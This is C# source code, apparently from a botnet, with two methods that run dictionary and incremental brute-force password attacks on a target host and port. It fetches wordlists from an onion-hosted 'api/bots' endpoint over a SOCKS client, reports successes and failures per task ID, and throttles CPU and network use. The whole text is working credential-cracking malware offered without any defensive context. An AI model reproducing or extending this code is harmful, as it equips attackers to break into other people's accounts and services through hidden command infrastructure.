public void startDictionary() { bool bFireFailed = true; string sDictionaryPath = System.Windows.Forms.Application.StartupPath + "\\dicts\\"; if (System.IO.Directory.Exists(sDictionaryPath) == false) { System.IO.Directory.CreateDirectory(sDictionaryPath); } if (System.IO.File.Exists(sDictionaryPath + sDictionaryName + ".dic") == false) { SocksWebClient wc = WebclientFactory.getWebClient(); wc.DownloadFile(FluxGlobal.sOnion + "api/bots/fetchresource.php?type=dict&name=" + sDictionaryName + ".dic", sDictionaryPath + sDictionaryName + ".dic"); } System.IO.StreamReader sr = System.IO.File.OpenText(sDictionaryPath + sDictionaryName + ".dic"); bool bAdd = false; while (sr.Peek() >= 0) { string word = sr.ReadLine(); if (word.StartsWith(sDictionaryStart)) { bAdd = true; } if (bAdd == true) { alDictionaryQueue.Add(word); } CPUThrottle.ThrottleCPU(); if (word.StartsWith(sDictionaryStop)) { break; } } sr.Close(); double dAvgResponseTime = 0.0; while (alDictionaryQueue.Count > 0) { string word = alDictionaryQueue[0].ToString(); alDictionaryQueue.RemoveAt(0); DateTime dtStart = DateTime.Now; object[] bSuccess = ((BruteForceEnginePlugin)pluginClassObject).Attack(sPluginTargetHost, iPluginTargetPort, sPluginTargetVersion, word); DateTime dtStop = DateTime.Now; TimeSpan ts = dtStop.Subtract(dtStart); fireResponseTime(ewObject.iThreadID, ts.TotalSeconds, sPluginTargetHost); if (bSuccess[0] != null) { if ((bool)bSuccess[0] == false) { fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]); bFireFailed = false; break; } if ((bool)bSuccess[0] == true) { fireSuccess(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]); bFireFailed = false; break; } } CPUThrottle.ThrottleCPU(); NetworkThrottle.ThrottleNetwork(); } if (bFireFailed == true) { fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, "exhausted"); } }
public void startBruteForce() { string sCurrentPrefix = sBruteForceStart.Substring(0, sBruteForceStart.Length - 1); char cCurrentChar = sBruteForceStart.Substring(sCurrentPrefix.ToCharArray().Length - 1).ToCharArray()[0]; bool bFireFailed = true; int iCountIterations = 0; while (sCurrentPrefix.StartsWith(sBruteForceStop) == false && int.Parse(sBruteForceLength) > sCurrentPrefix.Length) { DateTime dtStart = DateTime.Now; object[] bSuccess = ((BruteForceEnginePlugin)pluginClassObject).Attack(sPluginTargetHost, iPluginTargetPort, sPluginTargetVersion, sCurrentPrefix + cCurrentChar.ToString()); DateTime dtStop = DateTime.Now; TimeSpan ts = dtStop.Subtract(dtStart); NetworkThrottle.ThrottleNetworkUpload(); fireResponseTime(ewObject.iThreadID, ts.TotalSeconds, sPluginTargetHost); if (bSuccess[0] != null) { if ((bool)bSuccess[0] == false) { fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]); bFireFailed = true; } if ((bool)bSuccess[0] == true) { fireSuccess(ewObject.iThreadID, ewObject.sTaskUUID, (string)bSuccess[1]); bFireFailed = false; break; } } bool bNeedNewPrefix = false; cCurrentChar = getNextChar(cCurrentChar); if (cCurrentChar == '0' || cCurrentChar == 'A' || cCurrentChar == '!') { switch (BruteForceStyle) { case eBruteForceStyle.Alpha: if (cCurrentChar == 'A') { bNeedNewPrefix = true; } break; case eBruteForceStyle.AlphaNumeric: if (cCurrentChar == '0') { bNeedNewPrefix = true; } break; case eBruteForceStyle.FullKeyboard: if (cCurrentChar == '!') { bNeedNewPrefix = true; } break; } if (bNeedNewPrefix == true) { sCurrentPrefix = getNextPrefix(sCurrentPrefix); } } if (iCountIterations == 10000) { iCountIterations = 0; fireSaveWork(ewObject.iThreadID, ewObject.sTaskUUID, sCurrentPrefix + cCurrentChar.ToString()); } iCountIterations++; } if (bFireFailed == true) { fireFailed(ewObject.iThreadID, ewObject.sTaskUUID, "exhausted"); } }